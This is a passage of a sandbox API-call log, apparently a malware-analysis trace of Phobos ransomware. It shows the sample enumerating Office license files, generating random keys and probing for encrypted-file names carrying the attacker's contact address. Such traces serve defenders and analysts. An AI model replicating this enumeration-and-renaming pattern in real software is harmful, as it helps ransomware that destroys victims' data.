lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.631] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9656) returned 1 [0153.631] CloseHandle (hObject=0x564) returned 1 [0153.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.632] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10663) returned 1 [0153.632] CloseHandle (hObject=0x564) returned 1 [0153.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-pl.xrm-ms")) returned 0x220 [0153.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.633] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6752) returned 1 [0153.633] CloseHandle (hObject=0x564) returned 1 [0153.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ppd.xrm-ms")) returned 0x220 [0153.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.634] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.634] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11631) returned 1 [0153.635] CloseHandle (hObject=0x564) returned 1 [0153.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.635] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.636] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19976) returned 1 [0153.636] CloseHandle (hObject=0x564) returned 1 [0153.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.637] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10703) returned 1 [0153.637] CloseHandle (hObject=0x564) returned 1 [0153.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-pl.xrm-ms")) returned 0x220 [0153.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.637] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.638] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6701) returned 1 [0153.638] CloseHandle (hObject=0x564) returned 1 [0153.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ppd.xrm-ms")) returned 0x220 [0153.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.639] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.640] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11514) returned 1 [0153.640] CloseHandle (hObject=0x564) returned 1 [0153.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ul-oob.xrm-ms")) returned 0x220 [0153.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.640] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.641] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10655) returned 1 [0153.641] CloseHandle (hObject=0x564) returned 1 [0153.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-pl.xrm-ms")) returned 0x220 [0153.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.641] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.642] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22587) returned 1 [0153.642] CloseHandle (hObject=0x564) returned 1 [0153.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ppd.xrm-ms")) returned 0x220 [0153.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.643] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.643] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11605) returned 1 [0153.643] CloseHandle (hObject=0x564) returned 1 [0153.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.644] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.644] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19950) returned 1 [0153.644] CloseHandle (hObject=0x564) returned 1 [0153.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.645] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.646] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22515) returned 1 [0153.646] CloseHandle (hObject=0x564) returned 1 [0153.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ppd.xrm-ms")) returned 0x220 [0153.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.646] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.647] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11604) returned 1 [0153.647] CloseHandle (hObject=0x564) returned 1 [0153.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.647] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.648] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0153.648] CloseHandle (hObject=0x564) returned 1 [0153.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-pl.xrm-ms")) returned 0x220 [0153.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 